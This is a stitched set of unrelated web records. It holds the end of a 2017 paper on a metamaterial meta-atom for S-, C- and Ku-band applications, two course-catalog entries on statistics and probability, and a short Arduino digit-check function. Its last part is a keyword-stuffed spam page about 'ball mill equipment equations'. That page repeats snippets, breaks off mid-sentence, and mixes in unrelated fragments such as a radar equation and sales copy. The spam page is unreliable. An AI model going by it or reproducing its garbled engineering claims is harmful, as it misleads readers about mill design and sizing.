amplitudes of the permittivity, permeability and refractive index are plotted in the same Figure for every rotation. Figure 10a shows permittivity from 4.64–7.70 GHz (bandwidth of 3.06 GHz) and 8.36–10.36 GHz (bandwidth of 2 GHz), permeability from 7.89–14 GHz (bandwidth of 6.11 GHz) and a refractive index from 4.50–7.47 GHz, 7.80–10.11 GHz and 12.62–14 GHz at zero-degree rotation. Figure 10b exhibits permittivity from 4–7.19 GHz (bandwidth of 3.19 GHz) and 7.55–10.02 GHz (bandwidth of 2.47 GHz), permeability from 7.60–14 GHz (bandwidth of 6.40 GHz) and a refractive index from 3.86–6.86 GHz (bandwidth of 3 GHz) and 7.56–9.45 GHz (bandwidth of 1.89 GHz) at 90-degree rotation. Furthermore, in Figure 10c at 180-degree rotation, the unit cell displays permittivity from 3.34–3.54 GHz (bandwidth of 0.20 GHz), 4.58–7.72 GHz (bandwidth of 3.14 GHz) and 8.42–10.41 GHz (bandwidth of 1.99 GHz); permeability from 7.90–14 GHz (bandwidth of 6.10 GHz); and a refractive index from 4.42–7.48 GHz, 7.83–10.11 GHz and 12.54–14 GHz. Additionally, permittivity of 4.01–7.19 GHz (bandwidth of 3.18 GHz) and 7.55–10.02 GHz (bandwidth of 2.47 GHz); permeability from 7.55–14 GHz (bandwidth of 6.45 GHz); and a refractive index from 3.87–6.84 GHz, 7.59–9.45 GHz and 11–11.25 GHz are shown in Figure 10d for 270-degree rotation of the proposed meta-atom unit cell. At 9.20 GHz, the permittivity, permeability and refractive index curves display negative peaks. As a result, the array structure appearances as double-negative meta-atoms are shown in Table 3.\n\n#### 5.2.2. 2 × 2 Array Analysis\n\nThe same methodology is applied to investigate the 2 × 2 array configuration at 0-degree, 90-degree, 180-degree and 270-degree rotations. It is visible from Figure 11a that there is a negative value from 7.84–14 GHz for permeability; a negative value from 4.56–7.79 GHz, 8.13–8.69 GHz and 8.92–10.36 GHz for permittivity; and a negative value from 4.48–6.68 GHz, 7.80–10.22 GHz and 12.22–14 GHz for the refractive index at zero-degree rotation. In addition, Figure 11b exhibits negative values from 7.74–14 GHz for permeability; negative values from 3.96–8.63 GHz and 8.74–10.13 GHz for permittivity; and negative values from 4.31–6.48 GHz, 6.98–7.52 GHz and 7.76–9.64 GHz for the refractive index at 90-degree rotation. Furthermore, in Figure 11c at 180-degree rotation, the unit cell displays negative permeability from 7.85–14 GHz; negative permittivity from 4.59–7.74 GHz and 8.94–10.60 GHz; and a negative refractive index from 4.48–6.70 GHz, 7.82–10.28 GHz and 12.27–14 GHz. Additionally, negative permeability from 7.77–14 GHz, negative permittivity from 4–10.16 GHz and a negative refractive index from 4.40–6.52 GHz and 7.77–9.69 GHz are shown in Figure 11d for 270-degree rotation of the proposed meta-atom unit cell. As the size of the structure increases, the resonance frequencies decrease, and the number of resonances also increases. The overall size of the structure is responsible for creating a larger inductive effect. With increasing inductance, the resonance frequency shifts to lower frequencies. In addition, splits and gaps are formed by the capacitive effect. As the number of unit cells varies, the number of splits and gaps between the resonators increases with the overall size of the unit cell. With the increasing number of splits and gaps, more capacitance and resonance points are formed. In addition, if the inductive and capacitive effects increase, the inductance and capacitance minimize each other and create more stop bands and resonance points. Moreover, the resonances also depend on the material’s internal structure. When EM-waves propagate through a material, its electric and magnetic fields oscillate in a sinusoidal pattern, and their velocity depends on the material’s electrical conductivity, which in turn depends on the material’s internal structure. The relative speed of electrical signals traveling through a material varies according to how they interact with its internal structure. Moreover, from Table 4, the effective medium ratio at zero-degree and 180-degree rotation is 8.6 and 4.5 for 90-degree and 270-degree rotation.\n\n#### 5.2.3. 3 × 3 Array Analysis\n\nFrom Figure 12a, the frequency spans of the negative effective permittivity, permeability and refractive index of the array structure are from 4.58–7.72 GHz and 8.42–10.40 GHz; 7.90–14 GHz; and 4.42–7.48 GHz, 7.83–10.10 GHz and 12.54–14 GHz, respectively. Moreover, in Figure 12b at 90-degree rotation, the frequency spans of the permittivity, permeability and refractive index are from 4–7.19 GHz and 7.55–10.02 GHz; 7.55–14 GHz; and 3.86–6.86 GHz and 7.56–9.45 GHz, respectively. At 180-degree rotation, the frequency spans are from 4.58–7.72 GHz and 8.42–10.41 GHz (permittivity); 7.90–14 GHz (permeability); and 4.42–7.48 GHz, 7.83–10.11 GHz and 10.80–11.32 GHz (refractive index), as explained in Figure 12c. However, Figure 12d shows that the negative permittivity, permeability and refractive index are sequentially from 4–7.19 GHz and 7.55–10 GHz; 7.55–14 GHz; 3.87–6.84 GHz and 7.59–9.45 GHz and left handed properties in Table 5.\n\n#### 5.2.4. 4 × 4 Array Analysis\n\nIn Figure 13, the effective medium parameters are depicted at 0°, 90°, 180° and 270° rotations. From Figure 14a, the permeability is from 7.79–14 GHz, covering almost 6.21 GHz in bandwidth; the permittivity is from 4.46–7.58 GHz, covering approximately 3.12 GHz in bandwidth; and the refractive index is from 4.44–6.54 GHz and 7.73–9.86 GHz, covering almost 2.10 GHz and 2.13 GHz for zero-degree rotation. In Figure 14d, the permeability ranges from 7.74–14 GHz, covering almost 6.26 GHz in bandwidth; the permittivity ranges from 4–7.53 GHz and 7.90–10 GHz, covering bandwidths of approximately 3.53 GHz and 2.10 GHz; and the refractive index ranges from 5–7.20 GHz (2.20 GHz in bandwidth) and 7.71–9.63 GHz (1.92 GHz in bandwidth) for 270-degree rotation. Therefore, it is notable that the bandwidth of the permeability is always more than 6 GHz for all of the rotation angles. The array structure also shows left-handed characteristics at 9.20 GHz, with an effective medium ratio of more than 8 for 0-degree and 180-degree and 4 for 90-degree and 270-degree rotation, as shown in Table 6.\nThe sensitivity of the proposed meta-atom has been explained in terms of the Q-factor. The bandwidth of the meta-atom is inversely related to the quality factor (Q-factor). The calculation of the Q factor has been performed using the 3-dB bandwidth of resonant frequency (Δf) and the resonant frequency (f0) that has a resonance peak under −10 dB.\n$Q = f 0 Δ f ,$\nIt can be observed that the Q-factor is high, and this means that the reported meta-atom has high sensibility. The value of the Q-factor depends on the sharpness of the transmission and the location of resonant frequency. The reported antenna has been designed to use for long distance telecommunication (C-band). This antenna is made of three layers; they are radiating patch, antenna substrate and ground plane. The ground plane is printed on the lower part of the substrate, where on the upper portion of the substrate, the radiating patch is printed using a microstrip line feeding in Figure 14a,b. The width and length of the microstrip line are stable with a view to attaining the 50 Ω input impedance. The port of the microstrip feed line is attached to a Sub-Miniature Version A (SMA) connector. To attain the adequate wide bandwidth, multi frequency bands and high performances, the ground plane of the proposed antenna has been replaced by the meta-atoms. Moreover, after replacing the antenna ground plane by the meta-atoms, then the SMA connector is connected with the partial ground integrated with the meta-atoms shown in Figure 14c,d.\nFrom Figure 15a, the resonance of the return loss of the meta-atom antenna are respectively at 4.22, 6.30, 7.22, 11.34 and 13.68 GHz, whereas the bandwidth are sequentially 130 MHz (from 4.20 to 4.33 GHz), 120 MHz (from 6.26 to 6.38 GHz), 200 MHz (from 7.10 to 7.30 GHz), 2.17 GHz (from 9.93 to 12.10 GHz) and 0.9 GHz (from 13.10 to 14 GHz). On the contrary, the designed antenna without integrating the meta-atom of the ground plane has the resonance at 5.67 and 7.79 GHz. Therefore, after integrating the proposed meta-atom by replacing the ground plane, the antenna resonance peaks and frequency bands have been improved. In addition, in Figure 15b, from the gain curve, it can also be commented that the antenna with the meta-atom has achieved an average gain of almost 2.85 dB at the resonance bandwidth regions. The maximum peak gain is around 5 dB.\nTable 7 depicts the quality factors of the proposed meta-atom and that reported in [17,23]. In , the sensitivity was 14, and in , it was 31; but for the proposed structure, the sensitivity is 82, which is more than the previous one. Besides, for the high quality factor, making of the designed meta-atom is flexible for high-performance filters and sensor applications. Table 8, represents a comparison between the frequency bands and effective medium ratios of the proposed design with the previous design. For the compactness of the meta-atom, an effective medium ratio is an important factor. The proposed meta-atom unit cell exhibits an effective medium ratio (EMR) of 8.50, which is greater than that of the other unit cells. As a result, the designed structure is more suitable and compact in size. Moreover, the proposed meta-atom structure is applicable for S-, C- and Ku-band applications.\nFrom Table 9, Mallik et al. discussed 1 × 2 and 2 × 2 arrays at an orthogonal position . Islam et al. presented 2 × 2 array structures for double-negative characteristics and multi-band applications . Hossain et al. showed a 2 × 2 array configuration under open and interconnect conditions. In their framework, they analyzed the effect on resonances by changing the dimensions of the arrays . In this study, the left-handed characteristics, compactness, frequency band and bandwidth of 1 × 2, 2 × 2, 3 × 3 and 4 × 4 arrays are analyzed by 0°, 90°, 180° and 270° rotations.\n\n## 6. Conclusions\n\nA new compact left-handed meta-atom for S-, C- and Ku-band applications has been designed, investigated, fabricated and measured in this paper. The unit cell and array structure exhibited left-handed characteristics with wide bandwidths in the major portions of S-, C- and Ku-bands at 0°, 90°, 180° and 270° rotations. For the design, simulation and calculation of the S-parameters of the proposed meta-atom prototype, CST Microwave Studio has been used. Both the horn antenna and waveguide methods have been used for measurement purposes to obtain greater accuracy in the measured results. In addition, S-band is applicable for weather radar monitoring and microwave devices. C-band is relevant in radio telecommunication and electromagnetic cloaking, and the Ku-band is significant for satellite applications.\n\n## Acknowledgments\n\nThis work was supported by the Research Universiti Grant, Arus Perdana Code: AP-2015-007.\n\n## Author Contributions\n\nMd. Mehedi Hasan made substantial contributions to the conception, design and analysis. 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Materials 2014, 7, 4994–5011. [Google Scholar] [CrossRef] [PubMed]\n18. Hossain, M.I.; Faruque, M.R.I.; Islam, M.T.; Ullah, M.H. A new wide-band double-negative metamaterial for C- and S-B and applications. Materials 2015, 8, 57–71. [Google Scholar] [CrossRef] [PubMed]\n19. Zhou, H.; Wang, C.; Peng, H. A novel double-incidence and multi-band left-handed metamaterials composed of double Z-shaped structure. J. Mater. Sci. Mater. Electron. 2015, 27, 2534–2544. [Google Scholar] [CrossRef]\n20. Du, B.; Xu, Z.; Wang, J.; Xia, S. Magnetically tunable ferrite-dielectric left-handed metamaterial. Electromagn. Res. C 2016, 66, 21–28. [Google Scholar] [CrossRef]\n21. Hasan, M.M.; Faruque, M.R.I.; Islam, S.S.; Islam, M.T. A new compact double-negative miniaturized metamaterial for wideband operation. Materials 2016, 9, 830. [Google Scholar] [CrossRef] [PubMed]\n22. Liu, S.-H.; Guo, L.-X.; Li, J.-C. Left-handed metamaterials based on only modified circular electric resonators. J. Mod. Opt. 2016, 63, 2220–2225. [Google Scholar] [CrossRef]\n23. Hasan, M.M.; Faruque, M.R.I.; Islam, M.T. Parametric studies on split S-shaped composite Meta atom for X-band communication. Bull. Pol. Acad. Sci. Tech. Sci. 2017, 5, 533–539. [Google Scholar] [CrossRef]\n24. Islam, S.S.; Faruque, M.R.I.; Islam, M.T. A new direct retrieval method of refractive index for metamaterials. Curr. Sci. 2015, 109, 337–342. [Google Scholar]\n25. Hasan, M.M.; Faruque, M.R.I.; Islam, M.T. Composite left-handed meta-atom for tri-band operation. Mater. Res. Express 2017, 5, 1–9. [Google Scholar] [CrossRef]\n26. Turkmen, O.; Ekmekci, E.; Turhan-Sayan, G. Nested U-ring resonators: A novel multi-band metamaterial design in microwave region. IET Microw. Antennas Propag. 2012, 6, 1102–1108. [Google Scholar] [CrossRef]\n27. Clayton, R.P. Inductance: Loop and Partial; Wiley-IEEE Press: Hoboken, NJ, USA, 2009; pp. 56–63. [Google Scholar]\n28. Hasan, M.M.; Faruque, M.R.I.; Islam, M.T. A mirror shape chiral Meta atom for C-band communication. IEEE Access 2017. [Google Scholar] [CrossRef]\n29. Ziemer, R.E.; Tranter, W.H.; Fannin, D.R. Signals and Systems: Continues and Discrete; Macmillan Publishing Company: New York, NY, USA, 1997; pp. 255–263. [Google Scholar]\nFigure 2. Meta-atom unit cell: (a) proposed structure, (b) fabricated structure.\nFigure 2. Meta-atom unit cell: (a) proposed structure, (b) fabricated structure.\nFigure 3. Fabricated 150 × 200-mm2 (15 × 20 unit cells) array prototype of the proposed meta-atom structure.\nFigure 3. Fabricated 150 × 200-mm2 (15 × 20 unit cells) array prototype of the proposed meta-atom structure.\nFigure 4. Simulation setup with boundary condition in CST-MWS.\nFigure 4. Simulation setup with boundary condition in CST-MWS.\nFigure 5. Experimental setup for measuring the S11 and S21 parameters: (a) horn antenna method; (b) waveguide (WG) method.\nFigure 5. Experimental setup for measuring the S11 and S21 parameters: (a) horn antenna method; (b) waveguide (WG) method.\nFigure 6. Equivalent circuit model of the proposed meta-atom structure.\nFigure 6. Equivalent circuit model of the proposed meta-atom structure.\nFigure 7. Surface current at 12.94 GHz of: (a) single unit cell and (c) 1 × 2 array structure. Numerical electric field distribution in the XY plane at 12.94 GHz for: (b) single unit cell and (d) 1 × 2 array structure.\nFigure 7. Surface current at 12.94 GHz of: (a) single unit cell and (c) 1 × 2 array structure. Numerical electric field distribution in the XY plane at 12.94 GHz for: (b) single unit cell and (d) 1 × 2 array structure.\nFigure 8. Magnitude (in dB) of: (a) the reflection coefficient (S11) and (b) the transmission coefficient (S21).\nFigure 8. Magnitude (in dB) of: (a) the reflection coefficient (S11) and (b) the transmission coefficient (S21).\nFigure 9. Amplitude of the permittivity, permeability and refractive index at: (a) 0°, (b) 90°, (c) 180°, (d) 270° rotations.\nFigure 9. Amplitude of the permittivity, permeability and refractive index at: (a) 0°, (b) 90°, (c) 180°, (d) 270° rotations.\nFigure 10. Amplitude of the permittivity, permeability and refractive index at: (a) 0°, (b) 90°, (c) 180°, (d) 270° rotation of the 1 × 2 array structure.\nFigure 10. Amplitude of the permittivity, permeability and refractive index at: (a) 0°, (b) 90°, (c) 180°, (d) 270° rotation of the 1 × 2 array structure.\nFigure 11. Amplitude of the permittivity, permeability and refractive index at: (a) 0°, (b) 90°, (c) 180°, (d) 270° rotations of the 2 × 2 array structure.\nFigure 11. Amplitude of the permittivity, permeability and refractive index at: (a) 0°, (b) 90°, (c) 180°, (d) 270° rotations of the 2 × 2 array structure.\nFigure 12. Amplitude of the permittivity, permeability and refractive index at: (a) 0°, (b) 90°, (c) 180°, (d) 270° rotations of the 3 × 3 array structure.\nFigure 12. Amplitude of the permittivity, permeability and refractive index at: (a) 0°, (b) 90°, (c) 180°, (d) 270° rotations of the 3 × 3 array structure.\nFigure 13. Amplitude of the permittivity, permeability and refractive index at: (a) 0°, (b) 90°, (c) 180°, (d) 270° rotations of the 4 × 4 array structure.\nFigure 13. Amplitude of the permittivity, permeability and refractive index at: (a) 0°, (b) 90°, (c) 180°, (d) 270° rotations of the 4 × 4 array structure.\nFigure 14. The geometry of the: (a) antenna transparent 3D view, (b) ground plane without integrated meta-atom back view, (c) antenna transparent 3D view of integrated meta-atom with ground plane, (d) ground plane replaced by integrated meta-atom, back view.\nFigure 14. The geometry of the: (a) antenna transparent 3D view, (b) ground plane without integrated meta-atom back view, (c) antenna transparent 3D view of integrated meta-atom with ground plane, (d) ground plane replaced by integrated meta-atom, back view.\nFigure 15. Antenna performances: (a) return loss (S11), (b) gain; without and with the meta-atom at the ground plane.\nFigure 15. Antenna performances: (a) return loss (S11), (b) gain; without and with the meta-atom at the ground plane.\nTable 1. Dimensions of the proposed meta-atom unit cell.\nTable 1. Dimensions of the proposed meta-atom unit cell.\nParametersDimensions (mm)\nSubstrate length, a10\nSubstrate width, b10\nRing resonator length, l8.0\nRing resonator width, w8.0\nMetal strip width, d0.5\nSplits width, g0.3\nSubstrate height, t1.6\nTable 2. Real values of ε, μ and n at 9.20 GHz. EMR, effective medium ratio.\nTable 2. Real values of ε, μ and n at 9.20 GHz. EMR, effective medium ratio.\nStructureRotation AngleεμnEMR ($λ / a$)Meta-Atom Type\nUnit cell−4.3−16.1−8.48.5Left-Handed\n90°−2.3−17.8−6.44.0\n180°−4.5−16.1−8.58.5\n270°−2.3−17.8−6.44.0\nTable 3. Real values of ε, μ and n at 9.20 GHz.\nTable 3. Real values of ε, μ and n at 9.20 GHz.\nStructureRotation AngleεμnEMR ($λ / a$)Meta-Atom Type\n1 × 2 Array−4.3−16.1−8.48.6Left-Handed\n90°−1.8−18.6−5.94.3\n180°−4.6−16.1−8.68.6\n270°−1.8−18.6−5.94.3\nTable 4. Real values of ε, μ and n at 9.20 GHz.\nTable 4. Real values of ε, μ and n at 9.20 GHz.\nStructureRotation AngleεμnEMR ($λ / a$)Meta-Atom Type\n2 × 2 Array−6.5−16.1−10.48.6Left-Handed\n90°−2.6−17.5−6.84.5\n180°−7.1−16.1−10.88.6\n270°−2.9−17.2−7.24.5\nTable 5. Real values of ε, μ and n at 9.20 GHz.\nTable 5. Real values of ε, μ and n at 9.20 GHz.\nStructureRotation AngleεμnEMR ($λ / a$)Meta-Atom Type\n3 × 3 Array−4.6−16.2−8.78.5Left-Handed\n90°−1.8−18.6−5.94.0\n180°−4.6−16.1−8.68.5\n270°−1.8−18.6−5.94.0\nTable 6. Real values of ε, μ and n at 9.20 GHz.\nTable 6. Real values of ε, μ and n at 9.20 GHz.\nStructureRotation AngleεμnEMR ($λ / a$)Meta-Atom Type\n4 × 4 Array−3.3−17.3−7.68.5Left-Handed\n90°−2.1−18.2−6.14.0\n180°−3.5−17.1−7.88.4\n270°−1.7−18.9−5.74.0\nTable 7. Quality factor at the resonant frequency.\nTable 7. Quality factor at the resonant frequency.\nReferencesResonant Frequency (f0)Quality Factor (Q)\nIslam et al. 2.74 GHz14\nHasan et al. 7.53 GHz31\nProposed Meta Atom3.53 GHz82\nTable 8. Performance comparison of the proposed meta-atom with the reported previous research.\nTable 8. Performance comparison of the proposed meta-atom with the reported previous research.\nReferencesYearDimensions (mm2)Frequency BandEMR\nMallik et al. 201325 × 25C-Band1.99\nIslam et al. 201430 × 30Multi Band3.64\nZhou et al. 20158.5 × 8.5X-Band4.80\nYang et al. 20165.0 × 5.0X-Band6.0\nHasan et al. 201610 × 10C- and X-Band4.0\nLiu et al. 20165.0 × 5.0X-Band5.45\nHasan et al. 201710 × 10X-Band2.5\nProposed Structure201710 × 10S-, C- and Ku-Band8.50\nTable 9. Array structural comparison with the reported references.\nTable 9. Array structural comparison with the reported references.\nReferencesConfigurationArray Structure\nMallik et al. in 2013 U-Shaped2 × 2 orthogonal array\nIslam et al. in 2014 H-Shaped1 × 2, 2 × 2 array\nHossain et al. in 2015 G-Shaped2 × 2 open and interconnect array\nProposed StructureI-Shaped1 × 2, 2 × 2, 3 × 3, 4 × 4 arrays at 0°, 90°, 180° and 270° rotation.\n\n## Share and Cite\n\nMDPI and ACS Style\n\nHasan, M.M.; Faruque, M.R.I.; Islam, M.T. Compact Left-Handed Meta-Atom for S-, C- and Ku-Band Application. Appl. Sci. 2017, 7, 1071. https://doi.org/10.3390/app7101071\n\nAMA Style\n\nHasan MM, Faruque MRI, Islam MT. Compact Left-Handed Meta-Atom for S-, C- and Ku-Band Application. Applied Sciences. 2017; 7(10):1071. https://doi.org/10.3390/app7101071\n\nChicago/Turabian Style\n\nHasan, Md. Mehedi, Mohammad Rashed Iqbal Faruque, and Mohammad Tariqul Islam. 2017. \"Compact Left-Handed Meta-Atom for S-, C- and Ku-Band Application\" Applied Sciences 7, no. 10: 1071. https://doi.org/10.3390/app7101071\n\nNote that from the first issue of 2016, this journal uses article numbers instead of page numbers. See further details here." ]
[ null, "https://px.ads.linkedin.com/collect/", null ]
{"ft_lang_label":"__label__en","ft_lang_prob":0.92938876,"math_prob":0.91785485,"size":8200,"snap":"2023-14-2023-23","text_gpt3_token_len":1997,"char_repetition_ratio":0.14287457,"word_repetition_ratio":0.032482598,"special_character_ratio":0.25,"punctuation_ratio":0.13708149,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.96754736,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2023-03-25T06:09:37Z\",\"WARC-Record-ID\":\"<urn:uuid:f0c6bd23-4d8b-48ab-92d9-b0d83876950f>\",\"Content-Length\":\"363474\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:f5c8f54d-8040-475c-ba3c-35bc1f763690>\",\"WARC-Concurrent-To\":\"<urn:uuid:0013ae16-40d6-49fe-99c8-18542f8b008e>\",\"WARC-IP-Address\":\"104.18.25.151\",\"WARC-Target-URI\":\"https://www.mdpi.com/2076-3417/7/10/1071\",\"WARC-Payload-Digest\":\"sha1:D6ABVCSEGKCG435NVTWVIWKFIJW3A444\",\"WARC-Block-Digest\":\"sha1:DNPOA34WB3HJ6ZWUTAMAL2DZ5AGXOMKT\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2023/CC-MAIN-2023-14/CC-MAIN-2023-14_segments_1679296945315.31_warc_CC-MAIN-20230325033306-20230325063306-00596.warc.gz\"}"}
http://catalog.findlay.edu/current/Undergraduate-Catalog/Courses/MATH-Mathematics/200/MATH-221
[ "# MATH 221 Integrated Statistical Analysis\n\nThis is a one-semester course designed to give the student an understanding of basic methods of statistical analysis, as well as the means to utilize those methods in a scientific setting. Students will collect, summarize, analyze, and draw conclusions from research data. Topics will include various types of distributions of data, comparisons of samples, comparisons of categorical data, confidence intervals, and some of the techniques of data analysis: hypothesis testing, regression, ANOVA, chi square, and parametric and non-parametric.\n\n4\n\n### Prerequisite\n\nMATH 132, MATH 138, or MATH 140 or appropriate placement level as determined by the Department of Mathematics\n\nC2, GE" ]
[ null ]
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https://www.sabanciuniv.edu/en/prospective-students/undergraduate/course-catalog/course/MATH-203
[ "", null, "LISTEN\nMATH 203 Introduction to Probability Select Term:\nCounting techniques, combinatorial methods, random experiments, sample spaces, events, probability axioms, some rules of probability, conditional probability, independence, Bayes' theorem, random variables (r.v.'s), probability distributions, discrete and continuous r.v.'s, probability density functions, multivariate distributions, marginal and conditional distributions, expected values, moments, Chebyshev's theorem, product moments, moments of linear combinations of r.v.'s, special discrete distributions, uniform, Bernouilli, binomial, negative binomial, geometric, hypergeoemtric and Poisson distributions, special probability densities, uniform, gamma, exponential and normal densities, normal approximation to binomial, distribution of functions of r.v.'s, distribution function and moment-generating function techniques, distribution of the mean, law of large numbers, the central limit theorem.\nSU Credits : 3.000\nECTS Credit : 6.000" ]
[ null, "https://www.facebook.com/tr", null ]
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http://solutionsuncommon.com/home/software/arduino/a-better-way-to-convert-character-to-integer/
[ "# Character to Integer\n\n### A better way to verify a value is an integer than string.toInt() …\n\n```/*\n* this function check that you can convert a value to an integer\n*\n* It is necessary, because the arduino string.toInt()\n* returns a 0 if the first character is not numeric,\n* and also a 0 if the first character is 0. therefore,\n* if you pass a string like 0B, arduino returns a 0.\n*\n* This function converts the string to a char buffer,\n* and checks the ascii value of each character in the string.\n* It will fail if any value is outside the\n* ascii range for the numbers 0-9.\n*\n*/\nboolean validInteger(String intString) {\nint len = intString.length() + 1;\nchar buff[len];\nintString.toCharArray(buff, len);\nfor (int i = 0; i<len-1; i++) {\nif ((buff[i]<48) || (buff[i]>57)) {\nint buffInt = buff[i];\nresponseString = \"FAIL Invport#\";\nreturn false;\n}\n} // end for i=0...\nreturn true;\n\n}```" ]
[ null ]
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https://www.bytysrobarova.cz/data1/1604094988-ball-mill-equipment-equations/1499/
[ "•", null, "### ball mill equipment equations principle\n\nBall millBall Mill PriceBall Mill for Sale . Ball mill is the key equipment for recrushing the materials after they are primarily crushed. Ball mill is widely used for the dry type or wet type grinding of all kinds of ores and other grindable materials in cement, silie product, new building material, refractory, fertilizer, black and nonferrous metals, and glass ceramic industry.\n\n•", null, "### Ball Mill Design Equations appelhuis.nl\n\nEquation Ball Grinding Designball Mill. Equipment design equation ball mill an overview of lime slaking and factors that the following is a brief chemical formula of this process intent is to show 100 mm dia steel balls are being used for grinding presently for the material being ground the mill is\n\n•", null, "### ball mill equipment equations principle in haiti\n\nball mill equipment equations principle in haiti. Ball Mill Equipment Equations Principle,Ball Mill Equipment Equations Principle Ball mill mill grinding manufactured goods we discuss the types of ball mill the basic principles of the ball mill how it works the details of design including equations for optimum dimensions in all cases some manufacturers for the ball mill and estimation of the\n\n•", null, "### equations of ball mill design ckequestrian.co.za\n\nSince for the ball mill design we are using 80% passing, the required value of C2 for the ball mill will be equal C3 is the correction factor for mill diameter and is given as; 𝐶𝐶3 = 𝐷𝐷 (3) However, it is important to note that C3 = vessel used in producing the ball mill was got from a\n\n•", null, "### Bands Equation For Size Reduction Using Ball Mill\n\nBands Equation For Size Reduction Using Ball Mill. We are a large-scale manufacturer specializing in producing various mining machines including different types of sand and gravel equipment, milling equipment, mineral processing equipment and building materials equipment. And they are mainly used to crush coarse minerals like gold and copper\n\n•", null, "### ball grinding machine equipment equations principle\n\nBall Mill Equipment Equations Coal Russian. ball mill equipment equations gold russian bam-bou.nl. the equations mill equipment sankalpacademy.co. ball milling equation gurgaonpropertiesonlinein ball mill equipment equations principle has been widely used in all walks of life, Live Chat. ball mill modeling\n\n•", null, "### Ball mill Wikipedia\n\nThe ball mill is a key piece of equipment for grinding crushed materials, and it is widely used in production lines for powders such as cement, silicates, refractory material, fertilizer, glass ceramics, etc. as well as for ore dressing of ferrous and non-ferrous metals. The ball mill can grind ores and other materials either wet or dry.\n\n•", null, "### Calculate and Select Ball Mill Ball Size for Optimum Grinding\n\nIn Grinding, selecting (calculate) the correct or optimum ball size that allows for the best and optimum/ideal or target grind size to be achieved by your ball mill is an important thing for a Mineral Processing Engineer AKA Metallurgist to do. Often, the ball used in ball mills is oversize “just in case”. Well, this safety factor can cost you much in recovery and/or mill liner wear and\n\n•", null, "### Ball Mill Design/Power Calculation\n\nThe basic parameters used in ball mill design (power calculations), rod mill or any tumbling mill sizing are; material to be ground, characteristics, Bond Work Index, bulk density, specific density, desired mill tonnage capacity DTPH, operating % solids or pulp density, feed size as F80 and maximum ‘chunk size’, product size as P80 and maximum and finally the type of circuit open/closed\n\n•", null, "### Ball mill SlideShare\n\nApr 24, 2015· Critical speed of ball mill(in rps)= R=.45/2=.225m r=25/2=12.5m g=9.81m/s2 Nc=1.08rps=64.8 rpm 11. r=60/2=30mm R=800/2=400mm Nc=.82 rpm Critical speed=1.4*operating speed Operating speed =.82/1.4=.586 rps=35 rpm\n\n•", null, "### Ball Mill Equipment Equations\n\nBall Mill Equipment Equations Abstract. Mill (grinding) WikipediaA mill is a device that breaks solid materials into smaller pieces by grinding, crushing, or cutting. Such comminution is an important unit operation in many processes.There are many different types of mills and many types of materials processed in them.\n\n•", null, "### Ball Mill Design Equations appelhuis.nl\n\nEquation Ball Grinding Designball Mill. Equipment design equation ball mill an overview of lime slaking and factors that the following is a brief chemical formula of this process intent is to show 100 mm dia steel balls are being used for grinding presently for the material being ground the mill is\n\n•", null, "### Ball mill Wikipedia\n\nThe ball mill is a key piece of equipment for grinding crushed materials, and it is widely used in production lines for powders such as cement, silicates, refractory material, fertilizer, glass ceramics, etc. as well as for ore dressing of ferrous and non-ferrous metals. The ball mill can grind ores and other materials either wet or dry.\n\n•", null, "### ball mill normal speed equation\n\nball mill normal speed equation. Ball Mills Mine Engineer.Com. Most ball mills operate most efficiently between 65% and 75% of their critical speed. Photo of a 10 Ft diameter by 32 Ft long ball mill in a Cement Plant. Photo of a series of ball mills in a Copper Plant, grinding the ore for flotation.\n\n•", null, "### ball mill equipment equations principle in haiti\n\nball mill equipment equations principle in haiti. Ball Mill Equipment Equations Principle,Ball Mill Equipment Equations Principle Ball mill mill grinding manufactured goods we discuss the types of ball mill the basic principles of the ball mill how it works the details of design including equations for optimum dimensions in all cases some manufacturers for the ball mill and estimation of the\n\n•", null, "### equations of ball mill design ckequestrian.co.za\n\nequipment design equation ball mill. Equipment Design Equation Ball Mill, ball mill design equations and modelling pdf CS Cone Crusher Mobile Jaw Crusher MTW Milling Machine PEW Jaw Crusher PFW Ball mill Wikipedia The ball mill is a key piece of equipment Aside from common ball mills there is a second type of ball mill called a planetary ball mill.\n\n•", null, "### ball mill equipment equations principle pdf\n\nball mill equipment equations principle pdf. ball mill equipment equations principle . In Grinding, selecting (calculate) the correct or optimum ball size that allows for the best and optimum/ideal or target grind size to be achieved by your ball mill is an important thing for a Mineral Processing Engineer AKA Metallurgist to do.\n\n•", null, "### ball mill equipment equations principle pdf\n\nball mill equipment equations principle pdf Description; The Radar Equation Radartutorial. What is the radar range equation? The Radar Range Equation. radar range equation represents the physical dependences of the transmit power, which is the wave propagation\n\n•", null, "### Equipment Design Equation Ball Mill\n\nball mill equations pdf fysiozuidlarennl. ball mill model equations feentechnl Research of Mathematical Model of the Ball Mill with Double According to the mass balance equation, the ball mill with double inlets and outlets meets the request of ball mill equipment equations A typical type of fine grinder is the ball mill Get Price; ball\n\n•", null, "### ball mill equipment equations jrietdijk.nl\n\nball mill modeling equations gab gramya vikas credit ball mill design equations and modelling pdf. res.. 18 ball mill equipment equations principle get price blanc ball mill equation ball mill equipment equations, in industries viz mineral dressing, ore processing,, standard equation used by them for the ball mill work index get price\n\n•", null, "### Ball Mill an overview ScienceDirect Topics\n\nThe ball mill is a tumbling mill that uses steel balls as the grinding media. The length of the cylindrical shell is usually 1–1.5 times the shell diameter (Figure 8.11).The feed can be dry, with less than 3% moisture to minimize ball coating, or slurry containing 20–40% water by weight.\n\n•", null, "### Ball Mill Equipment Equations Principle Pdf\n\nBall Mill. Read more → Grinding Equipment. Ball Mill; Raymond Mill; MW Series Micro Powder Mill; T130X Superfine Grinding Mill; MTW Trapezium Mill; Feeding & Conveying. Belt Conveyer; Sand Washing Machine; ball mill equipment equations principle pdf\n\n•", null, "### ball mill equipment equations Hemming Way\n\nball mill equipment equations. As a leading global manufacturer of crushing, grinding and mining equipments, we offer advanced, reasonable solutions for any size-reduction requirements including quarry, aggregate, and different kinds of minerals. We can provide you the complete stone crushing and beneficiation plant.We also supply stand-alone\n\n•", null, "### ball mill equipment equations courage-epreuve.be\n\nball mill modelling and design equation Grinding Mill China. ball mill modelling and design equation. Posted at: May 11, 2013 [ 4.9 5875 Ratings ] »ultra fine glass crushing equipment »ball mill\n\n•", null, "### Ball Mill Equipment Equations\n\nBall Mill 